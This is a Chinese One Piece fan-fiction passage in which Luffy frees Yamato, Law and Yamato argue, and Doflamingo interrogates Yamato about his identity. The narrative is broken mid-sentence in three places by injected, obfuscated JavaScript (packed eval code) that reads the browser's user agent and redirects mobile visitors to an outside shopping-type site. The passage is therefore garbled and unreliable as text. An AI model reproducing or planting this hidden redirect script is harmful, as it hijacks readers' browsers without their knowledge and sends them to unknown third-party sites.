彼时座椅也在挣扎过程中被他用蛮力带翻,附近的器具倒地,玻璃碎裂声传来,比他高大一倍的男人还是不动声色地按住他的脑袋,顺便用几可盖住他脸的宽大手掌阻止他发出怒喊。 或许扯断了数根发丝,最终如愿看到真相。 男人不理解为什么鬼角会受伤断裂,也应该不在乎他非要藏起身份的真实理由,支着一条腿盘坐在侧,宛若恶霸冷冷睥睨贴在地面上流泪的“手下败将”,半晌喃喃自语出一句: “异类,难道你也是被赶出来的‘异类’……” 就在大和翻身不得,又看不见身后男人是何状态的情况下,后者起身头也不回地走出去了。 ——简直莫名其妙。 但是大和的确听出了,多弗朗明哥在离开之前最后一句话语气中的悻悻。 再擅长表演伪装的人,终究也有藏不住情绪的时候。 - - 光明出现得十分突然,跳到大和身边来的时候,他还在闷头做困兽挣扎但全无效果。 “喂,大和!你怎么样,多……明哥有没有欺负你?”伴随大开的百叶窗与涌入的天光,一道长条的人影落地之后恢复正常人形,臂弯还夹着另一个人。 听见意外的人声,地上的人奋力抬起头,愣了两秒确认自己应该不是在做梦:“路飞?你怎么来了?”还有,“竞技结束了?” 脸颊上有道疤痕却无损于草帽下的阳光笑容。“啊,那个没问题的了,艾斯的‘遗物’已经有着落了!” “‘有着落’?” “昂!烧烧果实就交给一位非常可靠的人保管了,放心吧!” 他无比确信的眼神令人不由得放心,说不上缘由。在注视对方的笑脸时,大和察觉到自己的嘴角也不由得扬了起来。“那就好……” “‘草帽’!虽然我不想打扰你们,但真地不能再耽搁了!” 第三人的声音一出来,大和才将注意力转到路飞所携带的另一人……不对,带了两个“人”来:其中一位是从未见过的女人,另一位则是和弗兰奇分别前在竞技场见过的玩具士兵。 回想起当一切情况尚未急转直下前所致力于完成的任务,他不免还是想问:“士兵先生,你带弗兰奇大哥……找到工厂了吗?” “啊,按理来说,这个时候他们应该已经到了。”玩具士兵对他点点头。 “‘他们’?”难道说是索隆、锦卫门几人也已经重聚了? 他着实忘了判断自己被关在王宫里到底过去了多久。外面发生了什么情况、有什么变化,他一概不知。 “不过请恕现在没时间具体解释,我们还有重要的计划亟待完成!”继路飞带来的陌生女人之后,玩具士兵也催促道。 “哦对,先不说这个了!大和,我们都听到你的求救了,特拉男在哪里,还活着吗?” “——你听到了?” “是啊,大家都听到了。乌索普、弗兰奇、罗宾去破坏工厂,索隆和我一起来救你们——你放心吧,工厂一定会毁掉,特拉男也一定会没事的!唯独只有一个变化:我要揍飞明哥那个混蛋!” 倒在地上的青年怔了怔,维持着脖颈高举的动作令他肌肉酸胀,他却迟迟不肯低下头来。 大和本以为,在自身晕过去之前,只是错误地将希望寄托于近在眼前的海军,应该不会再有人能来帮助他。可原来他那样一通“乱嚷”还是起了效果,有人听到了——同盟听到,并且赶来营救他和船长了。 “罗……罗在另一个房间,Joker和干部们也在……”青年莫名地哽咽,强忍下眼眶中盘旋的泪意后,又立即恳求道:“等等,帮我……把椅子砸断……我站不起来。” “没问题,但是这些线要怎么办?”戴草帽的年轻海贼蹲在他身边,皱着眉头研究了一会也不得法。 “没关系,只要能帮我砸断椅子……就行。” 看得出来和路飞同行的一人一玩具已经很急迫了,应该是真地有什么重要的计划必须抓紧时间前行。 大和不想耽搁他们,即便同盟已经答应帮助他,也不能将所有责任都压在路飞一人身上。 维持着坐姿倒在地上让他用不上力,为今之计,只有将绑在身上的座椅靠背和下半段砸开,好帮他重新站起来。 “剩下的……我自己应对。你们不要留在这里……浪费时间。” “唔,好。”路飞没怎么含糊就答应了大和的要求,毕竟后者据他了解实力还是可以的,既然这么说想必就一定有办法。 于是道一句让对方当心,起身蓄力后,抬脚踏断了使白发青年行动不得的宽大座椅。椅子是木质的,虽然坚硬,但对他来说破坏起来还是轻轻松松。 大和的双腿得以放松自由,也终于能在地面翻个身喘口气。听见同盟留下让他尽快跟上的话便匆匆离去,他躺在地上缓了缓,想起些“无关紧要”的事来。 ——‘在所有出海的家伙里,最了不起的一定是我的弟弟!’ ——‘路飞那小子说要成为海贼王……你可不许笑噢!我相信他的,他一定能实现梦想!’ “艾斯……”是了,记忆中那段相处的时间里,艾斯一直在聊他的兄弟——也就是路飞——的事。 在如此紧迫的时间里,他为了这样的记忆而笑起来,却不是为了艾斯说的事而发笑。 “艾斯,你的弟弟……”或许从戴草帽的年轻海贼跳到自己身边开始,希望便已重回到他的心口。笑意在狼狈的脸上逐渐放大,光彩重回眼眸——或许还带了一点温润的闪光——这一刻,他感觉像是同时被那兄弟俩救了一样。 模样不同的面孔似乎在意识中重合了,一样的年轻且阳光。 “路飞他……确实很了不起……”——艾斯也曾是。 他那时是怎么回答艾斯的呢?一时也想不起来了。想不起来就暂且先放放,既然有机会作为共同作战,那就让他来亲眼见证一下艾斯的弟弟是不是真地有可能“成为海贼王”好了! 拿定主意,大和一鼓作气站了起来。心绪沉着下来,注意力集中,已经积蓄许久的力量从身体里蔓延到四肢百骸。 他知道自己可以:不管身体是不是能承受这样的力量,但他清楚自己其实具备这样的力量。 胸口似乎又开始发紧,可能是不久之前反噬刚发作过一次,还没有得到足够的休息,眼下又在通过身体“警告”他。 可是这种情况下他也不能停,罗还没有恢复自由,同盟已经赶过去了,他怎么能在这里停下呢? 如果把营救船长的任务全压在路飞身上,艾斯在天上也会笑话他的吧?就像在马林梵多的时候,艾斯笑话他“真丢人”…… “呵呵……能在现在又想起你,真好啊……” 曾体会过一次的力量感从体内浮现出来,他好像知道该怎么控制这股力量了。类似雷电火花的“噼啪”细响在体表出现,他直觉自己用的方法应该是对的。 貌似两年以前也曾在神庙岛为营救被囚禁的船长而无意间用过这种能力——就像罗曾分析和断言的那样——原来这的确是他自身拥有的,不是借助于外物,更不是巧合。 但不是恶魔果实能力,他此刻还戴着高纯度的海楼石锁链,果实能力一点都用不出来,这点可以确定。 那是什么呢?答案呼之欲出,一如此刻源源不断冒出来的力量。 似乎带有雷电属性的霸气转瞬覆盖双臂,青年紧咬牙关抵御同时从脏腑传来的压迫感。 随着发力与忍痛的同时间再也按捺不住的喊叫出声,捆住他的丝线一寸寸断裂,终于不再勒着他,稍稍晃动身体便能挣脱,连同身上最后挂的几片震碎的木质座椅框架漱漱下落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581765|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但海楼石还原封不动地锁在臂上,这也没办法,毕竟强韧度和硬度都不在同一层次。 戴着镣铐奔跑——大和好像早就已经习惯了这个模式——不止是眼下,大约许久之前、甚至一生中的大多时候,他都是这样的。或许这也是他能抵御海楼石力量的原因吧。 大概他这此生已经戴镣铐的时间实在太久了,久到也成了他力量的一部分。 - - 同一时间,当全城的玩具忽然失去控制恢复人形,隐藏在德雷斯罗萨王国阴影中的秘密转眼暴露,唐吉诃德家族的“梅花”最高干部通过电话虫传回这一噩耗——对家族而言是噩耗,对除此以外的其他人或许都称得上喜讯。 多弗朗明哥难得展现出片刻惊慌失措,无人事前也未料想,原来王国统治的基石完全基于某一位能力者,当那位能力者倒下,甚至于身在王宫会议室的国王也会被刺客“斩断”头颅。 早已伺机在旁的路飞和前德雷斯罗萨王国公主紧随其后冲入房间,尝试趁乱营救被锁在红心形座椅上的海贼同盟,却遭到喝止——罗即便见证了唐吉诃德家族转眼陷入混乱,却清楚多弗朗明哥不可能这么简单倒下。 他判断草帽一伙这时候闯入王宫其实不够明智,不如抓紧时间去破坏工厂。 “闭嘴!这里不是你说了算!”戴草帽的青年海贼反过来冲同盟喊,“我已经答应了要来救你,就一定要救你!” “哈?你在说什么瞎话,谁求你来救我了?” 面对冥顽不灵的男人,罗甚至说了同盟关系已经解除,并威胁如果在这里放走自己会作为敌人杀了对方,对方却还是坚持要营救他。 “是大和说了要救你哇!你自己的船员说的话,你难道都不听吗?” “听听这是什么逻辑!我才是船长,当然是听我的,为什么要听……” 继会议室的窗被闯入的路飞等人撞碎之后,会议室的门又猛地被人从门外踹断作两截,斩钉截铁的话随之传来:“——船长,听我的,就交给路飞他们吧!” 罗闻声愕然望去,才一会不见,船员看起来又更加狼狈几分。 原来多弗朗明哥就算忌惮大和的“身份”也没对后者有多客气——身上的橘红色“鳞片”似乎又蹭掉不少,长发许久未见地披散下来,露出两侧断开的鲜红鬼角,更不用说不知哪里沾的血色染红了白发,再一次破了相不说,鲜血从紫青伤口流出来竟挂了半张脸。 “——你的头怎么回事?”一见之下,他先想象出一幅敌人抓着他心爱的人朝墙上撞的画面,一时又急又怒。 没想到下一句听到的答案却是:“不要紧!太着急……自己撞的!” “啊?!”罗忍住要骂人的想法,立刻转过来对近处连吐槽带吼:“就这种白痴,你觉得我会听他的?” 路飞还在卯着劲用海楼石锁链的钥匙对准锁孔,听到了头也不抬地吼回去:“我不管!你别乱动,不小心碰到海楼石我也会没力气!” “那就别费力气了!带着大和先走,别管我!” “不行!” “不行,船长必须活下来!” 异口同声的否决令听者差点气绝。罗再开口之前,也终于意识到麻烦还不止在于油盐不进的同盟一人。 “打杂的,我们两个不能都死在这里,你必须活着去见同伴们,不然的话……”他顿了顿,似乎也找不出别的威胁的话,干脆道:“不然你就不再是我的船员;我就把你赶下船!” “喂,这样说是不是有点过分了……” “闭嘴,跟你没关系!”堵完在旁说“公道话”的同盟,看见另一人刚从断成两截的门板中间钻过来,抬脚似乎就要跑过来,罗立即严肃地警告:“你不许再过来了!有件事我早就想说:我们两个人的关系已经太复杂,从今往后就只能保留一种,要么接着当同伴,要么接着当恋人—— “如果你还想当我的船员,就听话现在逃走,也不用太念着我,我们就此分手,我还算是你的船长;如果你今天不听我的话,我认你是我的男人,但你以后休想再上我的船!爱跟谁走就跟谁走,听见了吗? “草帽当家的,这个船员你要吗?要的话你现在就带走!” 在短暂的沉默过后,戴草帽的男人先开口:“我想要!但是必须他自己愿意。还有,我也要把你救走,别想这么支开我!” “——听听!”大和总算找回了本来就不利索的舌头,“船长,别逼我……说不清楚话的时候……教训你——比你年纪小的人都更……明事理啊!” 居然在这种情况下亲耳听到罗说这些话,大和第一反应是震惊,紧接着就是震怒。如果不是在敌人的地盘上,他必得揪住这出离任性的男人好好理论清楚。 眼瞅看似被斩首的敌人转眼又用线人偶的方式“复活”过来,“路飞,不要解锁了,直接带上罗……走吧!我来断后。” “你断什么后?听不懂我说……” “住口!船长,我不会再由着你任性……下去了!”就算看起来已经“破破烂烂”的,看起来像女人一样漂亮的男人依然气势十足。 ——甚至气场强到连船长一起骂的地步—— “说到底你……也只是个……笨蛋罢了,没比我好到哪里去。再任性,我会狠狠教训你!罗。” 53.piece 51-真实的他与全面冲突 数道丝线冲向天空,呈烟花放射状散向四面八方,转眼间张开一座“鸟笼”包围了整座城市。 鸟笼的缔造者、德雷斯罗萨现任国王多弗朗明哥将敌对的所有人赶出王宫,向全国公布了一项“游戏”内容: 在鸟笼不断收缩、杀死所有人之前,包括国民与尚在国内滞留的外国人还有两种生还的机会可选——要么斩杀身为国王也即缔造鸟笼的多弗朗明哥本人,要么猎杀他指定的12名被悬赏对象,以此换得鸟笼让停止。 ——不但如此,如果成功猎杀指定对象,还可以获得1亿以上的奖金,悬赏最高者价值5亿。 “Joker,你疯了吗?!这样的游戏……规则有什么意义?你根本就是……自己没本事对付那么多敌人吧!逼普通国民……冒死参与你所谓的游戏……有意思吗?!” 出于目前还不够明确的理由,多弗朗明哥依然忌惮且独独将大和留在王宫。 不过为了防止他像数分钟前一样联合唐吉诃德家族的敌对势力瞎折腾,如今他已被多道海楼石锁链所缚,也终于不能再自主行动,甚至就连大声说话都变得费力。 ……虽说他原本想连贯地说话就已经很不容易了。 “少爷,别说你失忆之后,话说不清楚,连基本的逻辑都想不通。” 眼下多弗朗明哥还肯理他,不过是看在他可能还有利用价值上,又或许还有些其他微妙的理由——就很难说清了。 “身为国王,我当然不需要参与‘猎狗’之间的游戏,缔造规则才是我的‘天职’。 “这世上原本的道理就是将不同人放在不同位置,在不同位置上做该做的事、获得应得的利益。我发布规则教会脚底下这些人服从于我,进而达成我要的利益,而脚下这些人靠我发布的规则活下去,从中赚取他们正常情况下一辈子也休想获取的巨额奖金,这才是我和我的国民‘荣辱共生’的底层逻辑。 “对于此前和你一起小打小闹的海贼们,我当然可以动动手指就将他们杀尽——可这样还有什么意思呢?他们给我惹的麻烦,现在可不大好收场,如果隐藏在这个国家的真相传出去,我的利益依然还是会受损——可反过来想,如果将他们当作我与国民之间一场‘试炼’的机会,或许会有趣许多。 “其实我早就可以利用恐怖高压的统治管理这个国家,可我之所以恩赐他们富裕幸福的生活,只是出于仁慈。既然他们不懂感恩戴德,那就让我好好利用几个不知死活还想挑战我的小鬼,给脚下的蝼蚁们上一课,教教他们自己应该呆在什么位置、服从于什么人的利益。” 王宫高高在上地位于德雷斯罗萨高地,在唐吉诃德家族最高干部“黑桃”琵卡的能力下又继续升高数丈,而下方的土地却下沉吞没了一部分城镇,人们在失去家园、与外界逼近收缩的鸟笼之间惶然失措。 高处听不见国内的一片喧闹,却可以见到从高处看来渺小如数个密集黑点的人们已经聚集起来,并不意外地顺着统治者的心愿,攻向近在咫尺被发现的悬赏对象。 ——如能在求生的同时,获取更大的利益,想来这样的选项对于身陷困境的人来说是最自然不过的。 “蝼蚁只会顺着天性做选择,这是当然的。” - 大和确实记得有人告诉过他,这世上是存在各种各样的统治者,无法决定究竟什么样的人坐在统治的位置上。 但是泛泛而谈是一回事,真正让他遇到这样的残暴君主驱使一个国家陷入混乱,尚且目空一切地讲些听起来似乎自有一套逻辑实际全是歪曲事实,不仅如此,说这话的人好像自己也坚定不移地相信这些。 震惊之余,大和破天荒地想要了解为什么多弗朗明哥会有这些想法,虽然他一个字都不信,也对这个为了自己的目的可以操纵一切的危险人士没有一丝好感,但他想知道,是什么让一个人被塑造如此。 “你凭什么……这么想?”在寂寥无声的高塔上,青年质问在他身边藐视众生之人,“你凭什么觉得……自己就应该凌驾……于下面那些人?” “这不是理所当然的么,少爷。”身披粉红火烈鸟羽的金发男人挂上他扑克牌面具似的笑容,“因为我比他们都更强。” ——就因为“能够”,所以“要做”。 “比别人强,就可以任意……伤害别人吗?”半张脸挂着干涸血迹的年轻人披头散发似山鬼,俯视众生时却带着本该天神拥有的愤怒和悲悯。 “认真问吗?”旁人回答他的语气似笑非笑,“当然不能叫‘任意’,和目的无关的事,我没有工夫去做。” 闻言,朱红的眼睛便望了过去,“有什么样的……目的值得罔顾这么多人……性命?” “呋呋……那自然是格外艰巨的任务,比你的小朋友们想要毁了我的工厂、干掉我还要麻烦。” 大和有充分的理由怀疑他所说的麻烦任务的正当性,不过多弗朗明哥似乎不打算再继续多说,转过来叫停了这场“提问游戏”。 “怎么,我的少爷,先前一个劲地和我谈罗的问题,现如今又对无干的蝼蚁好像很有兴趣——你难道就一点也不想知道自己的事吗?” “我自己的事没什么好说的……” “是吗?那莫非你根本没有失忆,只是在背叛百兽海贼团之后故意冒用四皇之子的名号——可是也说不通,外人从没听过‘大和少爷’的名号,你盗取他的名字甚至是长相,对你应该也没有太多好处,这毫无道理。” 或许数根海楼石终于限制了大和的力量,让他没有多余力气再反驳对方。又或许在亲历一系列事件后,他不得不相信多弗朗明哥的确掌握了有关他身份来历的有效信息。 “既然你清楚……我记不得,跟我打哑谜也没用。直说……你到底知道了什么吧,唐吉诃德-多弗朗明哥。” - 对于一个人而言,无论失忆与否,困扰他的问题永远不止眼下遇到的困境,无疑还有所有亲历的、未解的、尤其是痛苦的过去——或许相比之下,没有记忆的人活得反而简单一些。 至少多弗朗明哥就很清楚,被家族干部砂糖用童趣果实能力变成玩具后,从亲朋好友记忆中消失的那些人们就不再是任何人的痛苦,反而会为人类带来欢乐。德雷斯罗萨的百姓在今天以前所拥有的幸福,也大多建立在遗忘之上。 因此,他有理由怀疑大和其实根本不在乎失去的记忆,那些好像不曾存在的记忆不会困扰他,因此他才能大言不惭地用看似“正派”但毫无意义的价值判断质问他。 面对无聊的问题,他已算是相当心平气和,部分原因也在于围绕眼下的囚徒还有许多未解之谜,或许与他的利益休戚相关,此外——他也说不上来——在拆开白发原来梳成的发辫后,看到断角的一刹那,属于他个人的过去又一次影响到他。 “我不明白你的角为什么是这样……”多弗朗明哥自从二人谈话的房间里出来后,又一次重复这一疑惑,“这和你的来历息息相关。如果我没搞错,四皇凯多本人就是鬼族人,他麾下的百兽海贼团一多半也都长有鬼角。 “虽然长角并不能作为判断你就是百兽海贼的依据,但碰巧我刚才已经打听到了‘大和’这个名字应当也属于一位神秘的百兽海贼团成员,准确说,凯多的儿子也叫这个名字——这就刚好解释了为什么百兽的海贼看见你之后会叫你‘少爷’——不光是名字一样,长相也相似,这不是一般的‘巧合’。” “你想说……” “或许你就是大和少爷本人,只不过出于外人不知道的原因——或许是因为‘羊癫疯’,或许是被人袭击者重创头部,这也能顺带解释为什么没有鬼角——于3年前失忆了,并且流落海外,不巧……被罗那小子捡了个正着。” 对于一连串令自己出乎意料的消息,大和难得这一次学机灵了,暂且沉住气不答,接着问:“除了所有……捕风捉影的……侧面信息之外,还有什么直接证据吗?” 高塔上有一阵短暂的沉默,过了一会,带着扑克脸笑意的男人承认:“没有。” 白发的发尾带有天然蓝绿色变,为掠过王宫的风吹起同时,青年好整以暇地抬起头说:“那我再……补充一点——角是我自己撞断的。” 手底下有人报告说托雷波尔大人、迪亚曼迪大人以及家族干部们已经到了,多弗朗明哥也就收起在一刹那稍显微妙的表情,让手下人把最高干部和干部们请上来。 - - 另一边,在被赶下王宫高塔后,又被多弗朗明哥唆使的众人追杀,逃命的一行海贼正再次向王宫方向径直奔来。 罗即便已经离了红心座椅,腕上仍挂着海楼石镣铐,只能靠不久前被他单方面宣布同盟关系解除(实际看来一时半会解除不了)的海贼扛着赶路。 其实如果能打开镣铐,转眼之间他就可以用能力抵达王宫高地。没奈何镣铐的钥匙此刻不在手边,只能先去和有钥匙的人想办法会合。 ……可问题是带着他的人总有“本事”钻进形势最严峻、敌人数量最多的路线上去,甚至于一头撞进死路。 “草帽!你是故意在耽误时间嘛?!”虽说他实际无法靠自己逃命或赶路,可什么也做不了的情况下,反而思绪最易焦灼。 “怎么可能啊!我也很着急的好嘛?你说大和一个人留在上面能对付明哥么?” “当然不行了,那小子跟我一样戴着海楼石啊!” “是说真的嘛?我刚刚明明看到他还能打架!” “啊,关于这点我也很惊讶……” 回想起来在王宫高塔上,柳眉倒竖、气势汹汹地说要教训他的人不久前还在对他发怒,等到草帽路飞和多弗朗明哥初次交手之时,却又立刻递补过来守在面前,一副“赶也赶不走”的样子——恰如铁桥上赶来救援时的状态——确实好像完全不受海楼石影响。 罗有些担心,就算多弗朗明哥在搞清楚大和身份之前不会下死手,只怕大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603220|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和也会一根筋地主动发起冲突。如果再次出现在铁桥上战斗时突然倒下的情形……与其那样,他想倒不如让海楼石压制大和的力量,省的某人硬逞强。 还有,他也记得多弗朗明哥好像提到过大和有什么病,彼时以为就要死定了,也怀疑敌人故意胡说八道,便未加留意。可现在想来,敌人或许没有一句话是废话,那么除了大和的身份是他不了解的之外,还有什么其他问题是他所不知道的吗? ——一起生活两年半的人生了什么病,他身为医生竟完全不知情。 “什么意思,他不是你的船员吗?他这么强你不清楚?”另一人的提问这时钻进他脑子里。 “他是……”罗忽然也有些不确信,假如大和原来真是百兽海贼团的人,那还算不算他的船员。“等着,他早先和火拳认识,你不是火拳的兄弟吗?你难道就从没听到关于他的事?” “昂,完全没有!因为我和艾斯早在四年前就分别了,直到‘那件事’我才认得他还有大和这么个朋友。” 还真是毫无线索。原来有关大和的情况,身为两年间最亲密的人他一无所知…… 眼下还不到发散乱想的时候,罗定了定神,“先不说这些了。短时间之内多弗朗明哥应该不会对他怎么样。” ——可以断定,多弗朗明哥应该不敢直接去问百兽海贼团到底有没有大和这号人,如果大和的身份足够神秘,就更不可能有人敢直白对外透露信息。或许他们还有时间。 “但是也不能再拖了,别说鸟笼一个小时内就要闭合杀死所有人,打杂的再能扛也没法带着海楼石一个人可对付唐吉诃德家族,至少恶魔果实能力就用不出来。” 而且医生现在又有了新的忧虑,假使船员真地像多弗朗明哥明示的那样有什么隐疾——他还是希望大和是他的船员,就算身份已经存疑,就算不久前他还亲口威胁过要将对方“赶下船”——为什么从来没有表现出症状?是真的从未发作过吗?那敌人又是怎么得知的? 会不会因为他未曾注意到而引发其他问题…… - - 就在两名海贼船长赶往的终点,王宫高塔之上,大和没想到多弗朗明哥会让自己全程旁观唐吉诃德家族的干部会议,也意外听到了多弗朗明哥亲口承认的个人经历。 虽说只听到了只言片语,但多弗朗明哥似乎也有着悲惨的过去:8岁时母亲去世,10岁亲手杀死父亲,将唐吉诃德家族的干部们就视作至亲的家人…… ——若说对敌人一点恻隐之心也没有,那是不可能的。即便大和并不想同情坏蛋。 最重要的问题还有:“既然在对待干部的时候……还显得有血有肉,也该想到……那些被你们伤害的人……也有相似的心情吧!他们有自己的家人……珍视的亲朋好友,可你们所做的……买卖人口、贩卖毒药、挑起战争……以致眼下,把亲手统治的王国弄成这副光景,还威胁要杀掉……所有人……” 他越说越觉得不对,皱了皱眉,严厉地追问了一句:“是不是显得……太虚伪了?” 原本沉默时,还没有人太注意大和。等到这样一番突兀的发言出现,干部们的目光才纷纷投向锁在多弗朗明哥手边,显得个头并不起眼的他。 披散的白发微微鬈曲,柔和的相貌便显得越加缺少攻击力。一身橘红色短裙除了将曲线展露无遗,也迫使他不得不并膝坐得像个“淑女”。与其说这是个海贼、“少爷”,照任何人看来,完全更像是屈服于他人的“女俘虏”。 只除了眼神还像从未被打败一样炯炯有神。而此刻面对一群从未否认作恶多端的帮派和海贼,居然还认真地带上了审视与探究。 “呋呋,少爷,就算失忆,海贼有这些想法是不是也有点太恶心了。”多弗朗明哥最先反应过来,“这类想法你和罗交流过?你俩到底是谁把谁变得如此软弱?” 一阵哄笑声响起,原来在一群不正常的反社会人面前正经地谈论正常人的想法,是会被当成笑话听的。 ——大和原来没想过这个问题,也确实尚未有机会在除了罗和红心团伙伴之外的其他人面前谈论自己真正的想法。又或许他刚好只是有幸遇到了红心的海贼们吧。 他的脸有一瞬涨红了,不过好在很快也就抵御住这阵被嘲笑带来的羞怯:他并没有说错什么,讲的只是事实罢了。 是这帮坏蛋罔顾事实而已。 “罗并不软弱。”他又认认真真地告诉多弗朗明哥以及所有大笑中的敌人,“就算他也曾……经历悲惨的过去,但他比你坚强……比你们都更强大。”——所以罗才是值得他守护的船长。 干部们又笑了起来,即便这次没有多弗朗明哥亲自煽风点火。 “……我现在开始反向怀疑你是不是百兽的人。”戴粉红色太阳镜的男人指托额头,反而没能继续笑出来。最终,他做了一个重要的决定。 “——Baby-5,把电话虫拿给我,拨通杰克的船。” 54.piece 52-真实的他与最差的情形(未完) 电话虫接通之时,除了最高干部“梅花”托雷波尔之外的干部都已经去了各自镇守的位置。 然而电话虫另一头并非多弗朗明哥起初打算联系的人,期待落空,可他事实上也松了口气。就连接听之人嫌狂妄的语气也不显得太刺耳。 ——“除非你是总督本人,杰克大人现在可没空接电话,Joker。” “呋呋,真是不巧,不过我确实有个急需确认的问题。你如果不知道也没什么关系……” 以他对底下这些人的了解,想要套出些话来,只怕比面对百兽海贼团的“大看板”更容易些。更关键的还属不必担心消息会太快捅到凯多面前。 “什么问题,神神秘秘!你如果能等就再等上几个小时,不能等就说说看。” 就如多弗朗明哥意料的,没几句话,对面接听的人就嘴上把不住门了,很快将他想听的内容一股脑透露了出来: 大和大人怎么可能去德雷斯罗萨?谁说的,喝多了吧!我们只是找不到他,但谁都知道他就在岛上,不可能离开…… 为什么找不到大和大人?他愿意和总督大人“捉迷藏”,这种事我们底下人怎会知道…… 哈?被袭击带到国外?除了总督大人,也只有大看板和飞六胞能做到。就算是你,Joker,遇到大和大人认真起来也未必够看……(注) 而且就算是遇袭,大和大人也无法出海。 我们已经很久没见过他的真面目,听说现在又高又壮像头牛,想必以那种体质也不会生病……喂!你想暗示什么? 长得很像的兄弟姊妹?哪有那种人!总督大人又不像BIG MOM。更何况像大和大人一样的儿子,一个就够头疼了…… ——总而言之,本尊是不可能遭人偷袭后失忆出海的。 多夫朗明哥听明白了,似乎就算有什么意外发生,例如敌人入侵、自己人内讧,凯多的儿子也不会离开海贼团出海行动。 如果再往深处打听,也会引起警惕,被反问为什么要打听这么多关于大和大人的事、是不是有什么企图。 “怎么会有企图呢?” 皮笑肉不笑的表情就像他给自己装上的保护面具,也如同被丝线提起的傀儡关节一样,嘴角总是维持在夸张的弧度。 “——我只是担心,万一这么重要的人物真地光临了我的国家,招待不周岂不是我之过。” 他故作谦恭的语词应该成功地安抚到对面,只听:“啊,你也想太多了!大和大人至少近期是不会跑到国外去的……当然,以后怎么样,就不好说了。” 以后么……? 虽然听起来还有未尽的后话,不过眼下似乎不能继续追问下去了。多弗朗明哥暂且打算以后的事等以后再说,毕竟眼前的几个“小问题”已经够他烦的。 又费了些言辞搪塞后,便不再耐烦地切断了通讯念波。 看着电话虫垂下柄眼目,他又稍作沉思若干秒,一面暗自理清到此为止所有的情报与推测,一面指节抵住额角,将目光重新放回其中一个“小问题”的主角。 ——忽略额头上可能造成破相的伤口,这小鬼不张嘴瞎嚷嚷的时候,看起来还算标致。 食指从右向左轻轻一划,被他以防万一再次用能力缝上嘴的人便又可以开口了。 他能轻易察觉到对方不藏心事的脸上细微的表情变化。 “为什么又……堵我的嘴?”——青年果真直白地表达了不满。 多弗朗明哥跳过了无关的问题,转而向在旁的最高干部征求意见:“正主‘不可能’出海;海外有一个名字和相貌一样的人——这种情形你还能想到什么?” “嗯呢,罗看来也没有本事真地利用四皇的儿子呢,但是不知道从哪里搞到这么一个长得很像的人——多弗,你有把照片发给他们看嘛?怎么说的呢?真地一模一样嘛?” “照片被我暂时扣下,现在看来应该也用不上了。” “该不会罗动了其他坏心眼,找了一个‘假替身’来呢?会这样吗?会这样吧。那小子没有通天的办法,但鬼点子却不少呢。有可能是整容嘛?有可能是故意给失忆的小子安了假身份嘛?” 拖着鼻涕的丑陋男人碎碎叨叨地揣测起来,被晾在一旁的大和皱眉听着,只觉无端心烦。 ——看这意思,似乎唐吉诃德家族二人又认为他和百兽海贼团无关了,至少不是他们最开始以为的某个人。 说不上此刻是什么心情。虽然他下意识地不希望自己和百兽有何关系,但起初听多弗朗明哥说他的来历可能有线索时,他也不免在意。现在线索被推翻,一切又飘渺不定,可能他还是感到有些失落。 碰巧金发男人低头揉按额角,视线又放回他身上。“我倒不觉得罗会做这么多麻烦的准备,就目前来看,罗带着他也并没有起到什么决定性的作用;更像是看中他的实力,仅此而已……” 大和抬眼,也不知被对方瞧见了什么,入目已是那般人偶似的诡笑。 “不过既然起不到原本期望的‘作用’,实力的确可以算一项价值。罗的眼光还算可以,挺会选人。” 实力和潜力不可多得,单纯又一根筋的特点更便于利用,只要能拿捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627447|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住弱点、或是想办法取得信任,应该就能够彻底操纵其为己所用。 ——单从这半日亲眼所见,他对待罗的态度应该连命都可以不要。 再加上此前单独谈话时听到的大和对罗的看法,多弗朗明哥很快有了打算。 “托雷波尔,你说罗还会回心转意吗?” “呗嘿,多弗,你在打什么主意呢?不过我觉得那小子八成是不识抬举的,你不要对他抱太多幻想了,早点斩草除根为佳……呗嘿嘿……” “是吧?我想你说的可能性确实存在,有点遗憾,不过好在还有‘替代品’。” 年轻海贼忽然下意识感到一阵不适,正皱眉时便听到令他毛骨悚然的对话: “多弗,你看上这个没心眼的小子了嘛?呗嘿,可是他到手也只能是干点打杂的事嘛?不如扔到竞技场好了,呗嘿嘿,那里应该很适合他,或者交给砂糖,还是变成玩具后去工厂当免费劳动力更稳妥吧?” “不,他不需要变成玩具。目前他和这个世界唯一的联系就只有罗那小子,只要他忘记罗,唐吉诃德家族会成为他和世间新的纽带,那时候就当他是家族的成员之一,像Baby-5一样,只不过他会变得更加得力,甚至有强过最高干部的能力,能替我去任何战场,为我万死不辞。” 大和从听到一半就开始翻白眼,好赖等对方说完“胡话”才开口不屑地评价:“你在说梦话……Joker?” 